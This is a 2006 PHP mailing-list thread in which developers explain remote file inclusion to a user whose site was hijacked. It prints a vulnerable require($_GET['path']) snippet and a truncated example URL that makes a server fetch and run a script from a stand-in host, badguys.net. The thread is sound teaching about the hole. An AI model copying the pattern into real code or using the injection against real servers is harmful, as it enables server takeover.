RE: Fwd: [PHP] Highjack?

At 11:57 AM -0800 11/14/06, bruce wrote:
>hi tedd...
>
>for the following url, http://www.example.com/test.php?path=abc?dummy=123
>
>if the register_globals is on, a malicious user could potentially invoke,
>http://www.example.com/badscript.php....com/badscript
>.txt?dummy=123, which would cause the 'badscript.txt' to be used in the
>original script. now, this in and of itself wouldn't cause a file on the
>http server to be changed. however, if the webapp somehow caused the $path
>var to be invoked or to be used in an exec() function, then whatever is in
>the 'badscript.txt' file will be run as if the file is on the local system.
>
>at this point, you're pretty much at whim of the malicious user. now, the
>chance of this happening is pretty slim, unless you're using some open
>source app that's unsecure, and that a user can reasonably easy find. which
>is what has happened to some apps in the past.
>
>a more potential reason for the index.php files to be changed, is that there
>was some security hole, either via apache, and/or the OS for the server.
>
>hope this helps a little bit more...

Ohhh, so "badscript.php doesn't have to exist and the badscript.txt
is imported via the url, the script is built using only the
badscript.txt, and then executed "as-is" -- clever.

Off to try that... :-)

....

Nope, that didn't work -- I still don't get it.

I realize that one can grab stuff from another server, but I still
don't see how one can do this.

Sorry, for being so dense.

tedd
--
-------
http://sperling.com http://ancientstones.com http://earthstones.com

tedd wrote:
> Ohhh, so "badscript.php doesn't have to exist and the badscript.txt is
> imported via the url, the script is built using only the badscript.txt,
> and then executed "as-is" -- clever.
>
> Off to try that... :-)
>
> ...
>
> Nope, that didn't work -- I still don't get it.
>
> I realize that one can grab stuff from another server, but I still don't
> see how one can do this.

Ok, so badscript.php is a bad name for this script. Let's say show.php
is a script you've written. You were tired, the kids were running around
you screaming and shouting, and you wrote something like the following
without really thinking about it...

<?php
require($_GET['path'].'commonfuncs.inc.php');
// Do other stuff here, using functions in commonfuncs.inc.php
?>

The *bad guy* can now hit the URL...

http://yoursite.com/show.php?path=ht...t.txt?ignored=

This causes show.php to include (i.e. execute!!) the remote file
injectionscript.txt from badguys.net at this URL...

http://badguys.net/injectionscript.t...nfuncs.inc.php

Since this gets executed on your server it can do anything one of your
scripts can do. The only symptom would be that show.php will not work
for that request. Do the bad guys care? Probably not, because by the
time it fails they've already replaced your index.php and potentially
installed a rootkit, backdoors and whatever else (depending, of course,
on how locked down the web server is and your file permissions).

Hope that makes sense now.

-Stut

At 9:13 PM +0000 11/14/06, Stut wrote:
>Ok, so badscript.php is a bad name for this script. Let's say
>show.php is a script you've written. You were tired, the kids were
>running around you screaming and shouting, and you wrote something
>like the following without really thinking about it...
>
><?php
> require($_GET['path'].'commonfuncs.inc.php');
> // Do other stuff here, using functions in commonfuncs.inc.php
>?>
>
>The *bad guy* can now hit the URL...
>
>http://yoursite.com/show.php?path=ht...t.txt?ignored=
>
>This causes show.php to include (i.e. execute!!) the remote file
>injectionscript.txt from badguys.net at this URL...
>
>http://badguys.net/injectionscript.t...nfuncs.inc.php
>
>Since this gets executed on your server it can do anything one of
>your scripts can do. The only symptom would be that show.php will
>not work for that request. Do the bad guys care? Probably not,
>because by the time it fails they've already replaced your index.php
>and potentially installed a rootkit, backdoors and whatever else
>(depending, of course, on how locked down the web server is and your
>file permissions).
>
>Hope that makes sense now.
>
>-Stut

-Stut:

Yes, I believe that the "require($_GET[])" is one of the things Chris
Shiflett talks about in his book. I should have guessed that was what
everyone was talking about. But, considering that I never do that and
my site was highjacked, I was thinking it must have been something
different.

It all makes sense now.

Sorry for being so dense.

Thanks everyone.

tedd

PS: My kids are too old to scream -- it's grand-kids now.

--
-------
http://sperling.com http://ancientstones.com http://earthstones.com

Posts like this are what makes this list so great!
It's better to read this here than experience it first hand!
Thanks Tedd, for highlighting the problem.

Tom

On 14/11/06, tedd <tedd@sperling.com> wrote:
> At 9:13 PM +0000 11/14/06, Stut wrote:
> >Ok, so badscript.php is a bad name for this script. Let's say
> >show.php is a script you've written. You were tired, the kids were
> >running around you screaming and shouting, and you wrote something
> >like the following without really thinking about it...
> >
> ><?php
> > require($_GET['path'].'commonfuncs.inc.php');
> > // Do other stuff here, using functions in commonfuncs.inc.php
> >?>
> >
> >The *bad guy* can now hit the URL...
> >
> >http://yoursite.com/show.php?path=ht...t.txt?ignored=
> >
> >This causes show.php to include (i.e. execute!!) the remote file
> >injectionscript.txt from badguys.net at this URL...
> >
> >http://badguys.net/injectionscript.t...nfuncs.inc.php
> >
> >Since this gets executed on your server it can do anything one of
> >your scripts can do. The only symptom would be that show.php will
> >not work for that request. Do the bad guys care? Probably not,
> >because by the time it fails they've already replaced your index.php
> >and potentially installed a rootkit, backdoors and whatever else
> >(depending, of course, on how locked down the web server is and your
> >file permissions).
> >
> >Hope that makes sense now.
> >
> >-Stut
>
> -Stut:
>
> Yes, I believe that the "require($_GET[])" is one of the things Chris
> Shiflett talks about in his book. I should have guessed that was what
> everyone was talking about. But, considering that I never do that and
> my site was highjacked, I was thinking it must have been something
> different.
>
> It all makes sense now.
>
> Sorry for being so dense.
>
> Thanks everyone.
>
> tedd
>
> PS: My kids are too old to scream -- it's grand-kids now.
>
> --
> -------
> http://sperling.com http://ancientstones.com http://earthstones.com
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>

I usualy use an array with site configuration which I define at top
included file so you cannot overwrite the configuration paths from
outside the scripts.

<?
$APP_CFG = array();
$APP_CFG["my_path"] = "/somewhere/on/server/";
?>

From TFM:
"If "URL fopen wrappers" are enabled in PHP (which they are in the
default configuration), you can specify the file to be included using a
URL (via HTTP or other supported wrapper - see Appendix M, List of
Supported Protocols/Wrappers for a list of protocols) instead of a local
pathname. If the target server interprets the target file as PHP code,
variables may be passed to the included file using a URL request string
as used with HTTP GET. This is not strictly speaking the same thing as
including the file and having it inherit the parent file's variable
scope; the script is actually being run on the remote server and the
result is then being included into the local script.

Warning:
Windows versions of PHP prior to PHP 4.3.0 do not support accessing
remote files via this function, even if allow_url_fopen is enabled."

Andy

tedd wrote:
> At 11:57 AM -0800 11/14/06, bruce wrote:
>> hi tedd...
>>
>> for the following url,
>> http://www.example.com/test.php?path=abc?dummy=123
>>
>> if the register_globals is on, a malicious user could potentially
>> invoke,
>> http://www.example.com/badscript.php....com/badscript
>>
>> .txt?dummy=123, which would cause the 'badscript.txt' to be used in the
>> original script. now, this in and of itself wouldn't cause a file on the
>> http server to be changed. however, if the webapp somehow caused the
>> $path
>> var to be invoked or to be used in an exec() function, then whatever
>> is in
>> the 'badscript.txt' file will be run as if the file is on the local
>> system.
>>
>> at this point, you're pretty much at whim of the malicious user. now,
>> the
>> chance of this happening is pretty slim, unless you're using some open
>> source app that's unsecure, and that a user can reasonably easy find.
>> which
>> is what has happened to some apps in the past.
>>
>> a more potential reason for the index.php files to be changed, is
>> that there
>> was some security hole, either via apache, and/or the OS for the server.
>>
>> hope this helps a little bit more...
>
> Ohhh, so "badscript.php doesn't have to exist and the badscript.txt is
> imported via the url, the script is built using only the
> badscript.txt, and then executed "as-is" -- clever.
>
> Off to try that... :-)
>
> ...
>
> Nope, that didn't work -- I still don't get it.
>
> I realize that one can grab stuff from another server, but I still
> don't see how one can do this.
>
> Sorry, for being so dense.
>
> tedd

At 11:02 PM +0000 11/14/06, Tom Chubb wrote:
>Posts like this are what makes this list so great!
>It's better to read this here than experience it first hand!
>Thanks Tedd, for highlighting the problem.
>
>Tom

Tom:

You're welcome, but I never have a problem showing my ignorance. --
that just comes natural.

The real thanks should go to the people who provide the answers.

Thanks peoples. :-)

tedd
--
-------
http://sperling.com http://ancientstones.com http://earthstones.com